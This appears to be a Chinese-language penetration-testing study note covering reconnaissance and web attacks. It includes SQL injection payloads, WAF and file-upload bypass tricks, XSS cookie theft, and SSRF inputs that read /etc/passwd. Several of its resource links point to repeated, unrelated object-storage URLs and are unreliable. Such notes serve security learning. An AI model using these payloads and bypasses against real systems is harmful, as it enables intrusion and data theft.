渗透学习笔记

首先给出一个网站,该网站收录了各种红队渗透工具:
https://github.com/guchangan1/All-Defense-Tool

信息收集

信息收集需要收集资产的企业备案、域名、IP地址、端口、中间件、CMS、服务器系统、数据库、目录、WAF、泄露

可以使用零零信安对资产进行评估,零零信安能收集资产的信息系统暴露、移动端应用(APP、API、小程序、公众号)、敏感目录、邮箱泄露、文档和代码、域名、人员、DWM情报等,功能强大。

资产收集流程

  1. 查询资产的企业备案
  2. 根据备案号查询企业拥有的域名,结合黑暗引擎与OneForAll工具查询这些域名的子域名
  3. 根据域名查询该域名的IP地址,之后能分别进行:
    • 根据IP地址与域名查询开放的端口
    • 使用工具扫描IP地址与域名获得中间件、CMS、服务器系统、数据库、目录、泄露等信息

下面介绍这些信息该如何收集

企业备案

  • 一家公司开设网站需要对网站进行备案,备案号一般在网站的最底部可以查到。根据查到的网站,可以进行查询后得到该公司的其他注册域名,以下网站常用于企业备案查询:

    https://beian.miit.gov.cn
    
  • 若是想得到公司的其他信息,可以到企业查询网站查询,在这些网站里能查到目标公司的网站,电话,负责人等信息,为后面的信息收集与网站渗透提供参考,以下网站常用于企业查询:

    https://aiqicha.baidu.com(爱企查)
    https://www.qcc.com(企查查)
    https://www.tianyancha.com(天眼查)
    

域名

域名能通过DNS来解析回IP,其中域名分为顶级域名,二级域名,三级域名等

​ tieba.baidu.com
​ ↑ ↑ ↑
​ 三级域名.二级域名.顶级域名

对于安全测试的意义:

  • 相同的二级域名的网站架构、源码、密码可能相似
  • 两个网站的域名解析的IP地址可能相同

子域名的获取方式有爆破,搜索,JS查找,证书查找,DNS搜索,OneForAll搜索

爆破

以下为常用爆破的工具:

子域名挖掘机:百度云链接: https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/init 提取码:121l
ksubdomain:https://github.com/knownsec/ksubdomain

搜索

搜索主要是使用搜索引擎进行搜索,例如百度、谷歌、fofa、hunter、shodan、zoomeye

在使用黑暗搜索引擎时,经常会出现与目标公司不相关的URL,这时就能通过下载该网站的favicon.ico文件并查看

获得favicon.ico文件方法:

1. 直接在网站网址后面加favicon.ico
2. F12或者右键查看网页源代码,然后再网页头部找到 ,链接指向即为favicon.ico的地址
3. http://www.google.com/s2/favicons?domain=网站地址

以下为常用的google hack搜索语法

site     指定域名
intext   正文中存在关键字的网页
intitle  标题中存在关键字的网页
info     一些基本信息
inurl    URL存在关键字的网页
filetype 搜索指定文件类型例子:
搜索子域名:site:baidu.com

在线搜索的网站有:

https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/subdomain
https://phpinfo.me/domain/
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/&

JS查找

JS查询为使用JSFinder工具通过正则表达式获取URL与子域名。

证书查找

查询HTTPS证书能查询到子域名

https://crt.sh/

DNS搜索

查询DNS能查询到该域下的解析记录,从而有可能获得子域名

https://dnsdb.io/zh-cn/

在kali里可以使用dig命令进行DNS查询,具体用法:

https://blog.csdn.net/weixin_44617541/article/details/124328099

OneForAll搜索

OneForAll工具是集合了各种方法的子域名收集工具,因此功能很强大

https://github.com/shmilylty/OneForAll

IP地址

获得一个网站的真实IP是极其重要的,原因如下:

1. IP能使用NMAP扫描出更多的端口
2. 扫描IP地址为扫描网站的上一级文件夹
3. 很多网站在其上一级有可能有该网站的源码备份

一个IP地址能分为4个段,如199.87.232.11,这个IP中199是A段,87是B段,232是C段,11是D段

获取一个域名对应的IP需要分析其有没有CDN,判断方法为使用超级ping,若每个地方的IP地址不同,就是有CDN,若无则否

无CDN

CMD里使用ping命令就能获得真实IP

有CDN

  1. 网站的各个子域名可能在1-254区间内,或者不同的网段,因此可以测试区域内不同IP来获取真实IP
  2. 有些网站只对加www的网站加CDN,所以无www的网站有可能为真实IP
  3. 根据备案信息注册的省份来判断域名所在地
  4. 有些网站仅仅在国内有CDN,所以可以使用超级ping来判断真实IP
  5. 有些网站仅仅主站有CDN,而分站没有,所以可以根据分站IP判断真实IP
  6. 可以通过注册账号获取验证码的方式获取目标网站向自己发送的邮件,然后使用foxmail打开查看源码,以此获得真实IP
  7. 使用fofa、hunter、shodan、zoomeye搜索指定关键字,以此来获得真实IP
  8. 查询DNS记录来查询真实IP
  9. 使用w8fuckcun、fuckcdn工具扫描全网来获得真实IP
  10. 使用微步查询历史记录,有可能查到网站没加CDN之前的IP记录
  11. 使用VPN挂全局代理后ping目标网站
  12. 使用get-site-ip网站查询真实IP,有可能不准确,需要借助以上思路进行判断
  13. 利用网站favicon.ico地址的hash值在shodan搜索,具体参考该链接

端口

端口的范围是从0到65535,其中端口分为3大类:

1. 公认端口:从0-1023,这些端口绑定了一些明确服务的协议
2. 注册端口:从1024到49151,这些端口松散绑定一下服务
3. 动态端口:从49152到65535,这些端口并不常用

端口收集常使用nmap来进行探测,以下为快速扫描指令:

nmap -sS -Pn -open -T4
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4

nmap具体指令介绍

其他扫描工具有御剑高速TCP端口扫描工具、masscan、Goby

也可以使用在线的方式探测端口:

https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/port
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/
https://tool.chinaz.com/port/www.gdsslxh.org.cn

中间件

中间件为网站搭建平台,是网站的一个框架,常见中间件为iis、apache、tomcat、nginx、thinkphp、structs2等

通常使用AlliN、Glass、EHole、dismap等工具进行查看

也可以通过观察网站的后缀进行判断,比如.net.php.asp后缀的网站的中间件一般为IIS

CMS

CMS为一个网站的模板,这个模板已经被设计好,使用前只需要使用者根据自己的需求进行更改,识别CMS能使用特定的攻击方式来进行渗透。

在识别CMS前,可以使用先用7kbscan工具进行扫描,看看是否能扫出源码备份文件或者数据库备份文件。

以下网站能查看ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码安全问题

https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/index.html

以下为识别方法:

  1. 在一些网站的最下面会有CMS的名字

  2. 访问CMS的特定路径查看是否能访问来判断CMS

  3. 使用kali中的whatweb命令进行扫描

  4. 使用浏览器中的wappalyzer插件进行查看

  5. 使用御剑WEB指纹识别系统来进行扫描

  6. 下载网站的ico文件查看(即favicon.ico文件)

  7. 使用AlliN、Glass、EHole、dismap等工具进行查看

  8. 使用在线网站进行查看,如:

    https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/
    http://whatweb.bugscaner.com/(云悉)
    

若是以上方法无法找到源码备份原件和CMS,则可以通过Charles工具来描绘网站,该工具能自动对访问的URL进行归类整理,点击的越多,得到网站的全貌就越完整。

服务器系统

常见的服务器系统为windows与linux,获得操作系统的信息可以根据操作系统的特性进行特定的渗透攻击,如对window7可以使用永恒之蓝进行攻击。

以下为分辨的方法:

  1. 为查看网站对大小写是否区分,区分大小写的为linux,不区分大小写的为windows

  2. 根据TTL值判断操作系统,但TTL值可以修改,有可能会误导我们,以下为默认操作系统TTL(TTL可以通过在CMDPING目标网站查看):

    WINDOWS NT/2000             TTL:128
    WINDOWS 95/98               TTL:32
    UNIX                        TTL:255
    LINUX                       TTL:64
    WIN7                        TTL:64
    
  3. 使用nmap命令的-O参数来进行探测

数据库

数据库能为网站存储信息,不同的数据库有不同的漏洞,因此得知该网站的数据库是很有必要的,以下为识别方法:

  1. 根据网站的文件来识别:

    asp     access 
    php     mysql 
    aspx    mssql 
    jsp     mssql,oracle 
    python  mogodb
    
  2. 通过操作系统来判断数据库,有一些数据库只能在特定操作系统中才能运行,比如window下才有access,sqlserver

  3. 使用nmap指令进行探测端口,根据端口号来判断:

    mysql      3306
    mssql      1433
    oracle     1511
    mongodb    27017
    redis      6379
    memcached  11211
    
  4. 通过nmap -O -sV ip地址的方式扫描能获得apache和php和mysql版本

目录

目录作为网站的基本结构之一,能方便浏览者和管理者区分。

通常能用Charles工具、dirsearch、JSFinder工具、御剑目录扫描专业版进行目录扫描

WAF

WAF为WEB应用防护系统,用于隔离外界的非法请求

有些WAF还能作为网站的中间件,如宝塔,phpStudy,inmap等等

识别WAF对于安全测试的意义在于不能对有WAF的网站使用扫描工具扫描

以下为识别WAF的方法:

  1. 使用wafw00f工具进行识别
  2. 利用浏览器抓包识别X-Powered-By

泄露

泄露分为SVN泄露、HG泄露、GIT泄露、VIM缓存泄露、备份文件泄露、PHP备份文件泄露、gedit备份文件泄露

SVN泄露

SVN是源代码版本管理软件。

在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。

在服务器上布署代码时,如果是使用 svn checkout 功能来更新代码,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令),若没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。

svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base。

svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。

使用dvcs-ripper工具能对网站扫描SVN

HG泄露

当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

使用dvcs-ripper)工具能对网站扫描HG

vim缓存

  • vim 交换文件名
  • 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
  • 以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
  • 再次意外退出后,将会产生名为 .index.php.swo 的交换文件
  • 第三次产生的交换文件则为 .index.php.swn

git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

dirsearch工具扫描目录后有可能扫出.git目录,之后使用GitHack工具能获取该文件

备份文件泄露

  • 常见的网站源码备份文件后缀

    tar
    tar.gz
    zip
    rar
    
  • 常见的网站源码备份文件名

    web
    website
    backup
    back
    www
    wwwroot
    Temp
    
  • 可以使用7kbscan扫描

  • bak是备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。

  • 常见备份文件后缀:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”

  • 访问隐藏文件时前面加"."

PHP备份文件泄露

  • .phps后缀释义: phps文件就是php的源代码文件。
  • 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替

gedit备份文件泄露

在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“ ~ ”的文件,其文件内容就是刚编辑的内容.假设刚才保存的文件名为flag,则该文件名为flag~,见图1-1-7.通过浏览器访问这个带有“ ~ ”的文件,便可以得到源代码。

工具扫描

在得到资产的网站后,可以使用扫描器去扫描网站存在的漏洞

最常用的扫描器有Xray、awvs(该链接迅雷不能下载)、nessus(该链接迅雷不能下载)

漏洞库

https://github.com/binganao/vulns-2022
https://github.com/helloexp/0day
https://github.com/helloexp/vulhub
https://github.com/helloexp/CVE-Exploits
https://github.com/UzJu/0day
https://github.com/faisalfs10x/CVE-IDs
https://github.com/YinWC/2021hvv_vul
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/redteam_vul
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/漏洞库
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/bountytips.php
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/supplier
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/3322916
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/nuclei-templates
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/POChouse

peiqi漏洞库


渗透攻击

使用信息收集后会得到各种各样的信息,针对不同的信息就会有不一样的渗透攻击,常见的渗透攻击有爆破、SQL注入、文件上传、XSS、CSRF、SSRF、RCE、文件包含、文件下载、目录穿越、逻辑越权、反序列化、XXE、未授权访问、一句话木马、反弹SHELL,下面会详细介绍这些攻击。

爆破

在信息收集时如果收集到了网站的后台管理网站后,很多网站的管理员为了记忆方便,或者网站刚刚建好还来不及改密码,会使用默认账号密码或者强度很低的密码,若没有WAF的拦截,可以考虑尝试使用弱口令爆破。

弱口令爆破的工具主要有超级弱口令检查工具,burpsuite的Intruder模块,Hydra(kali自带)

爆破字典可以用fuzzDicts,另外下面的参数爆破可以用这个字典

SQL注入

对于任意一个输入框,只要满足以下条件就有可能存在SQL注入漏洞:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的;
  • 参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询;

SQL注入的分类方式如下:

按变量类型分

  • 数字型
  • 字符型

按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

按注入方式分

  • 报错注入

  • 盲注

    • 布尔盲注
    • 时间盲注
  • union注入

SQL注入还能通过工具来进行注入,工具注入主要使用SQLMAP工具,也可以使用椰树V1.9接口修复版。

另外还有堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等方式,针对WAF还有特殊的绕过方式

攻击流程

  1. 首先使用union注入测试,没有回显就使用盲注或者报错注入
  2. 有回显的话就能使用堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等注入方式进行测试
  3. 在能注入的前提下,注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
  4. 若是查询到了账号密码能尝试在网站的各种登录框中进行登录尝试
  5. 使用sqlmap能用--os-shell参数进行getshell

下面将详细介绍这些注入方式。

union注入

  • union注入是联合查询union会一次显示两个查询结果,我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。
  • 注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据

报错注入

利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息

报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在rand()group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。

报错注入主要利用的函数是floor()extractvalue()updatexml()

concat区别

concat()

  • 将多个字符串连接成一个字符串
  • 语法:concat(str1, str2,...)

concat_ws()

  • 将多个字符串连接成一个字符串,但是可以一次性指定分隔符
  • 语法:concat_ws(separator, str1, str2, ...)

Group_concat()

  • group by产生的同一个分组中的值连接起来,返回一个字符串结果。
  • 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
floor()
  • floor()报错注入是利用count()rand()floor()group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
    报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
  • floor向下取整数—如2.5取整数为2
extractvalue()
  • 该函数对XML文档进行查询的函数
  • 其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
  • 语法:extractvalue(目标xml文档,xml路径)
  • 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
  • 正常查询第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
  • 以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
id=1' and (extractvalue(1,concat(‘~’,(select database())))) --+
updatexml()
  • updatexml()函数与extractvalue()类似,是更新xml文档的函数。
  • 语法updatexml(目标xml文档,xml路径,更新的内容)
id=1' and updatexml(1,concat('~',(select database()),'~'),3)--+

布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

时间盲注

时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

堆叠注入

堆叠注入是一堆 sql 语句(多条)一起执行,例如以下这个例子。
用户输入DELETE FROM products
服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

具体可以查看该文章

DNS注入

DNS注入是对存储在DNS服务器上解析留下的日志进行注入,具体例子看该文章

二次注入

二次注入是指利用已经上传的数据,再次进入查询语句后,形成的恶意查询语句进行注入

例如在注册页面,插入了相关的恶意语句,假如注册用户名是1' union select 1,user()#

这样的话,在再次构建SQL语句后台会回显这样的数据。

执行语句:select * from users where admin='1' union select 1,user();

返回数据库用户名称。

宽字节注入

  • 在使用PHP连接MySQL的时候,当设置set character_set_client = gbk时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)合并掉,举个例子。
http://www.nicai.com/index.php?id=1
  • 当提交?id=1' and 1=1%23时,MySQL运行的SQL语句为

    select * from user where id ='1\' and 1=1#'
    
  • 很明显这是没有注入成功的,而当我们提交id=1%DF' and 1=1%23时,MySQL运行的SQL语句就变为了

    select * from user where id ='1運' and 1=1#'
    
  • 我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF和后面的\也就是%5c中变成了一个汉字“運”,从而使单引号逃逸了出来

偏移注入

偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下

使用场景:

  • 在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
  • 当猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
  • 像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了

注入原理:

  1. 联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
  2. 在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
  3. 直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
  4. 然后通过移动admin.*的位置,就可以回显不同的数据

注入流程可以看该文章

WAF绕过

绕过方式有注释符、内联注释、编码、空格绕过、or and xor not 绕过、双写绕过、大小写变种、等号=绕过,下面详细介绍

注释符

当过滤器阻止各种空白符常见关键词过滤时,可使用注释进行绕过

-- “注释内容”
/*注释内容*/
;
//
--
--+
#
:%00
/!*注释内容*/
内联注释

内联注释能把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL的特定版本(与注释内描述的版本有关)中会执行。

select * from cms_users where userid=1 union */\*!5000 select\*/* 1,2,3;
编码

浏览器中输入的URL会由浏览器进行一次URL编码,所以可以通过多次编码绕过正则表达式的检测;如URLEncode编码、ASCII、HEX、unicode编码绕过:

对关键字进行两次url全编码:1+and+1=21+%25%36%31%25%36%65%25%36%34+1=2 /**/union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admin'#%252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/users%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'#
或ex\u0065c => exec
ascii编码
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)16进制
select * from users where username = test1;
select * from users where username = 0x7465737431;unicode编码对部分符号的绕过
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
空格绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tab键上面的按钮)
tab
or and xor not 绕过
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
双写绕过

在某一些简单的waf中,会将关键字select等使用replace()函数置换为空。当关键词被过滤时可以采用双写的方式,在经过waf的处理之后又变成select,达到绕过的要求。

and写成anandd
select写成seleselectct
大小写变种

当关键词被过滤时,可尝试变换大小写进行绕过。

UniOn 
SeleCt
等号=绕过

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。

  1. 正常加上通配符的like:

    Select * from cms_users where username like "ad%"; 
    
  2. 不加上通配符的like可以用来取代=:

    Select * from cms_users where username like "admin"; 
    
  3. regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

    Select * from cms_users where username REGEXP "admin"; 
    
  4. 使用大小号来绕过

    Select * from cms_users where userid>0 and userid<2; 
    
  5. <> 等价于 != ,所以在前面再加一个 ! 结果就是等号了

    Select * from cms_users where !(username <> "admin");
    

文件上传

当收集到一个网站能让使用者进行文件上传时,就有可能存在文件上传漏洞

文件上传漏洞能让攻击者上传木马从而控制网站服务器,属于高危漏洞

文件上传不能简单通过修改后缀来攻击,因为浏览器无法识别后缀为jpg的文件

文件上传绕过分为前端绕过、服务端绕过、解析漏洞绕过、WAF绕过

前端绕过

前端验证为javascript检测,通常为检测文件后缀。

绕过方式只需要先上传正确后缀的文件后,用burpsuite抓包后修改为原本木马的后缀就能绕过

由于太过于简单绕过,所以一般网站都不会设置前端验证

服务端绕过

服务端绕过方式有很多种,下面详细介绍

后缀名

后缀名的验证,分为黑名单(asp,PHP,jsp,aspx,cgi,war…)和白名单(jpg,png,zip,rar,gif…)。

  • 黑名单是不允许那些格式的文件上传,缺陷:添加文件的后缀,如PHP5等;
  • 白名单是只允许那些格式的文件上传,相对来说安全一些。

针对黑名单绕过:

  1. 大小写,如Php

  2. 双写后缀,如phphpp

  3. 后缀名末尾加空格【 】(Linux服务器不支持)

  4. 后缀名末尾加点【.】(Linux服务器不支持)

  5. 后缀名末尾加::$DATA(Linux服务器不支持)

  6. %00截断(Linux服务器不支持)

    例如1.php%00.jpg

MIME 信息

MIME 信息是指content-Type的内容,不同文件类型所对应的值也不同,如GIF文件对应:image/gif,如果检测的是mime,可以通过修改来绕过验证。

.htaccess
  1. .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。

  2. 该文件提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

  3. 作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  4. 该绕过方式只有Apache中间件有,作用是实现文件解析的自定义

  5. .htaccess文件的内容为

    AddType application/x-httpd-php .png 
    

    .png为自定义绕过后缀

文件头

文件头是指文件头部,在木马里的头部添加白名单中的文件头能实现绕过

JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF :47 49 46 38 39 61 (GIF89a)
PNG:89 50 4E 47
图片马

服务器对上传的文件的全部内容进行检测,例如若上传的文件不是完整的图片,就会上传失败

因此,我们可以在一个完整的图像中添加木马代码就能实现绕过

木马运行有可能需要配合解析漏洞

条件竞争

有些网站会对上传后的文件进行二次操作,如修改文件名

但是,在服务器进行修改前,有一瞬间是没有修改的

这时就能通过window的特性(已经访问了的文件修改不了文件名)来实现绕过

通常需要利用脚本不断请求才能成功

解析漏洞绕过

中间件解析文件时可能会存在解析漏洞,利用解析漏洞就能修改木马文件的后缀实现绕过

IIS5.x/6.0解析漏洞

如果目录名以".asp.asa.cer.cdx"字符串结尾,那么这个目录下所有的文件都会按照 asp 去解析。例如: “test.asp/1.jpg”就会解析asp代码。

IIS7.0/IIS7.5/Nginx<8.03解析漏洞

对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
例如,我上传一个图片木马22.png 直接访问url为 www.haha.com/upload/22.png 图片可以查看但是代码解析不出来,这时候我们只要在url后面加上www.haha.com/upload/22.png/33.php就可以执行代码。

Nginx <8.03 空字节代码执行漏洞

使用%00截断,如对一个图片马使用:xxx.jpg%00.php

Apache解析漏洞

apache解析后缀是从右往左解析,若解析的域名不可识别,则继续往左判断

因此就可以设置文件为:xxx.php.csg,csg后缀apache无法识别,因此就会识别后面的php

WAF绕过

  1. 寻找黑名单之外的扩展名

  2. 构造畸形的数据包

    删掉content-type

    构造多个filename

  3. 数据溢出-防匹配(xxx…)

    填充垃圾数据
    
  4. 符号变异-防匹配(’ " ;)

    去掉一个双引号,没有闭合安全狗会误以为是程序自带
    ;意味着符号后面还有语句要执行,如果不执行的话,最后的语句为空。因此:filename="a.jpg;.php "
    
  5. 数据截断-防匹配(%00 ;换行;/)

    %00后面的内容被截断,如:2.php%00.jpg(%00要解码)
    换行为\n,如2.php变成2.p\nh\np ,就可以绕过安全狗的匹配
    一般/**/为注释符号,安全狗将//的内容注释
    
  6. 重复数据-防匹配(参数多次)

    重复传参,用前面的参数欺骗安全狗检验,最后传递最后的参数
    参数过滤只有一次,可以用.pphphp来绕过验证,这里也是用前面的参数来绕过验证
    借助白名单技术,在匹配的时候,发现filename的字符串为前面的数据,安全狗误以为:2.php 没有传递个filename参数,从而绕过。
    

XSS

XSS为前端漏洞,攻击者通过往WEB页面插入恶意Script代码后,当用户浏览网站时能触发,达到攻击的目的

XSS测试的范围是每一个输入框,URL中的所有参数,也就是说任何一个与服务器有交互的参数都可以测试CSS

XSS攻击在红队渗透中可以用来盗取用户的cookie,尤其是管理员登录平台的cookie

攻击流程为首先找一个xss平台,在上面生成攻击代码,然后上传到目标网站上,等待管理员通过浏览器浏览服务器数据(如果能不用xss平台是最好的,因为平台管理员也能得到我们攻击得到的cookie,有泄露的风险)

XSS有三种类型,分别为反射型、存储型、dom型,下面会介绍这三种方式

反射型

反射型不是一种持久化攻击,通常为攻击者制作好攻击链接,然后欺骗用户点击从而达到攻击的目的

存储型

存储型是持久化攻击,攻击者会将攻击代码上传到目标网站的服务器里,当网站调用数据到前端网站时有可能会运行攻击代码,从而达到攻击的目的

dom型

  • dom型是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。
  • DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
  • DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。
  • 客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
  • 一般是浏览器前端代码进行处理。

三种方式的执行流程

  • 反射型:发包x=baidu=>x.php=>回包
  • 存储型:发包x=baidu=>x.php=>写到数据库某个表=>x.php=>回显
  • dom型:发包x=baidu=>本地静态浏览器前端源代码(直接前端处理)

CSRF

  • Cross-site request forgery 简称为“CSRF”
  • 在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了
  • 攻击的链接的攻击目的通常把用户的信息修改为我们想修改的信息
  • 攻击成功的前提是用户打开了网站,并且当前的cookie或session并未失效

SSRF

  • Server Side Request Forgery简称为“SSRF”
  • 攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。
  • SSRF攻击通常针对外部网络无法直接访问的内部系统。
  • SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件

漏洞产生区域

  1. url 地址分享文章,如http://share.xxx.com/index.php?url=http://127.0.0.1
  2. URL地址加载或下载图片,如http://image.xxx.com/image.php?image=http://127.0.0.1
  3. URL地址图片、文章收藏,如http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
  4. URL把原网站内容转化为适合当前情况浏览的网站,如转手机网页
  5. URL翻译对应文本内容,如百度翻译
  6. 参数关键字
    • share
    • wap
    • url
    • link
    • src
    • source
    • target
    • u
    • 3g
    • display
    • sourceURl
    • imageURL
    • domain
  7. 漏洞函数
    • file_get_contents(),作用:将整个文件读入一个字符串
    • fsockopen(),作用:通过套接字连接实现对用户指定URL数据的获取
    • curl_exec(),作用:改函数初始化一个新的会话,返回一个cURL句柄

攻击方式

  • file:用于访问本地计算机的文件,如http://share.xxx.com/index.php?url=file:///etc/passwd

  • http:用于探测内网存活,可以对目标主机的内网网段并进行爆破,如http://192.168.91.1

    使用前要想办法得到目标主机的网络配置信息,如读取/etc/hosts/proc/net/arp/proc/net/fib_trie等文件

  • dict:用于探测或扫描内网端口,如dict://127.0.0.1:8080/info

  • ftp:用于探测目标主机是否存在ftp,如ftp://127.0.0.1:21

  • gopher:用于对内网进行信息查找,攻击格式为gopher://IP:port/_TCP/IP数据流,攻击过程看该文章

  • 若是遇到IP过滤,可以改写IP,例如192.168.0.1:

    8进制格式:0300.0250.0.1 
    16进制格式:0xC0.0xA8.0.1 
    10进制整数格式:3232235521 
    16进制整数格式:0xC0A80001 
    合并后两位:1.1.278 / 1.1.755 
    合并后三位:1.278 / 1.755 / 3.14159267
